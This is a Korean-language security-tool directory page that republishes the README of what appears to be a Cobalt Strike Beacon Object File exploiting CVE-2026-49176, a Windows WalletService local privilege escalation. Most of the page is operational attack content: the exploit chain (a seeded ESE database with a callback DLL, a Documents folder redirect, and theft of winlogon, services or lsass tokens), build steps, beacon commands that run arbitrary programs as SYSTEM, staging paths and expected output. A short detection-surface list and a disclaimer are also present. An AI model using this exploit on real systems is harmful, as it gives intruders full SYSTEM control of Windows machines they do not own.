Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-49176_BOF — CVE-2026-49176 WalletService LPE — 독립형 PoC + Cobalt Strike BOF (대화형 세션에서 SYSTEM 명령 실행) | Kitploit
도구/GitHubGitHub/777erp/cve-2026-49176_bof
Privilege EscalationExploitationPost-ExploitationRed TeamingPayload Development
GitHub777erp/cve-2026-49176_bof

CVE-2026-49176_BOF

CVE-2026-49176 WalletService LPE — 독립형 PoC + Cobalt Strike BOF (대화형 세션에서 SYSTEM 명령 실행)

저장소 보기
4111개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-49176 Cobalt Strike BOF

Windows WalletService(CVE-2026-49176, 2026년 7월 패치)를 통한 로컬 권한 상승용 Cobalt Strike Beacon Object File(BOF) 입니다.

중간 무결성(일반 사용자) Beacon에서 이 도구는 악성 Wallet ESE 데이터베이스를 준비하고, Documents를 리디렉션하며, WalletService를 트리거하여 호출자가 지정한 명령줄을 대화형 데스크톱에서 NT AUTHORITY\SYSTEM 권한으로 실행합니다.

BOF 전용 트리.
원본 독립 실행형 PowerShell PoC: DavidCarliez/CVE-2026-49176_LPE_POC. 동일한 취약점 근본 원인, 다른 전달 방식 및 SYSTEM 획득 후 프로세스 실행 방식.


면책 조항(Disclaimer)

승인된 보안 연구, 교육, 방어 검증 용도로만 사용하십시오.


취약점(원본 PoC와 공유)

WalletService는 호출자를 가장(impersonate)한 상태에서 FOLDERID_Documents를 확인한 다음, LocalSystem 권한으로 복귀한 뒤 다음 파일을 엽니다:

root@kitploit:~
<Documents>\Wallet\wallet.db

일반 사용자는 ESE 사용자 정의 기본값(user-defined default) 콜백(PATH\payload.dll!Export)으로 해당 데이터베이스를 시드하고, Documents를 제어된 디렉터리로 지정한 뒤 WinRT WalletManager.RequestStoreAsync / GetItemsAsync를 호출하여 서비스가 SYSTEM 권한으로 DLL을 로드하게 만들 수 있습니다.

분석 문서: CVE-2026-49176 Exploit Development: WalletService to SYSTEM


BOF vs 원본 PoC — 권한 상승 경로

동일: SYSTEM 코드 실행 획득 방식

root@kitploit:~
Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete

차이: 콜백 이후 대화형 SYSTEM 프로세스

WalletService는 종종 필터링된 SYSTEM 토큰(사용 가능한 SeAssignPrimaryToken / SeImpersonate 없음)을 사용합니다. 직접 CreateProcess* 호출 시 1314 오류가 발생합니다.

root@kitploit:~
Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

기능

  • 활성 데스크톱에서 임의의 명령/파일을 SYSTEM 권한으로 실행하는 단일 Beacon 명령
  • 전체 체인을 프로세스 내에서 처리: 준비 → 시드 → 리디렉션 → 트리거 → 대기 → Documents 복원
  • bof_pack("bbZ")로 wallet_callback.dll + shell_broker.exe 패킹
  • 다중 전략의 SYSTEM 획득 후 프로세스 생성 + result.txt 진단
  • x64 전용

요구 사항

항목요구 사항
Beaconx64, 중간 무결성()

구성(Layout)

root@kitploit:~
bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

빌드

root@kitploit:~
cd bof
build.bat
명령출력
build.bat / build.bat bothDLL + broker + x64 BOF
build.bat payloadDLL + broker만
build.bat clean산출물 제거
root@kitploit:~
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

VS가 기본 위치가 아닌 경우 build.bat에서 VCVARS64 경로를 편집하십시오.
중요 플래그: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od(CS BOF 링커 안전성).


사용법

로드

Cobalt Strike → Scripts → Load → cve2026_49176.cna
(재빌드 후 매번 다시 로드하십시오.)

명령

root@kitploit:~
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
  • 경로에 공백이 없으면 바깥쪽 따옴표는 필요 없습니다.
  • 선택 메뉴: Beacon → CVE-2026-49176 → Run command as SYSTEM...

대상에서의 준비(Staging)

root@kitploit:~
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

패킹

root@kitploit:~
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

예상 출력

작업(Task) 라인

root@kitploit:~
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

성공(예시)

root@kitploit:~
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

detail= 값은 winlogon, services, lsass 또는 broker 경로일 수 있습니다.

일반적인 실패

리디렉션이 성공한 경우 실패 시에도 Documents는 복원됩니다.


아키텍처

root@kitploit:~
cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

탐지 표면(Detection surface)

  • Documents 알려진 폴더 변경
  • %LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + 콜백 DLL
  • WalletService가 사용자 쓰기 가능 DLL 로드
  • winlogon/lsass/services 대상 OpenProcess / 토큰 API
  • 수명이 짧은 서비스 CVE49176_*
  • 대화형 세션으로의 CreateProcessAsUserW / CreateProcessWithTokenW

제한 사항

  • x64 전용, 패치되지 않은 WalletService 필요
  • 일부 빌드에서는 Wallet WinRT API를 사용할 수 없거나 더 이상 사용되지 않을 수 있음
  • 준비 디렉터리가 자동 삭제되지 않음
  • ESE/WinRT가 Beacon 내부에서 실행됨(프로세스 분리된 원본 PoC보다 충돌 위험)

관련 자료

링크설명
DavidCarliez/CVE-2026-49176_LPE_POC원본 독립 실행형 LPE PoC(업스트림 연구 PoC)
분석 문서원본 연구 문서
도구 다운로드
단계원본 PoC이 BOF
ESE DB 시드wallet_ese_seed.exeBOF 내부 Jet*A
Documents 리디렉션documents_path.exeBOF 내부 SHGet/SetKnownFolderPath
Wallet 트리거PowerShell WinRTBOF 내부 RoGetActivationFactory
콜백 DLLwallet_callback_shell.dllwallet_callback.dll
원본 PoC이 BOF
목표 프로세스하드코딩된 cmd.exe운영자가 지정한 명령줄
기본 방법임시 서비스 → shell_broker.exe → CreateProcessAsUserWwinlogon / services / lsass에서 토큰 탈취 → 프로세스 생성
폴백없음SCM + cmd.exe /c "shell_broker.exe" "result.txt"
비상승
대상취약한 WalletService(2026년 7월 패치 이전)
CSBOF를 지원하는 Cobalt Strike 4.x
빌드VS 2019/2022 C++ + Windows 10 SDK(esent.h, WinRT)
로그의미
JetAddColumn: -1003ESE 매개변수 문제
error=1314필터링된 SYSTEM, 토큰 탈취 / broker 필요
STEAL_FAIL error=5대상 프로세스/토큰을 열 수 없음
StartService error=32공유 위반(cmd 래퍼로 완화됨)
detail=all_methods모든 SYSTEM 획득 후 전략 실패
링커 Unknown symbol '??_C@_...'BOF 빌드 플래그 오류, build.bat으로 재빌드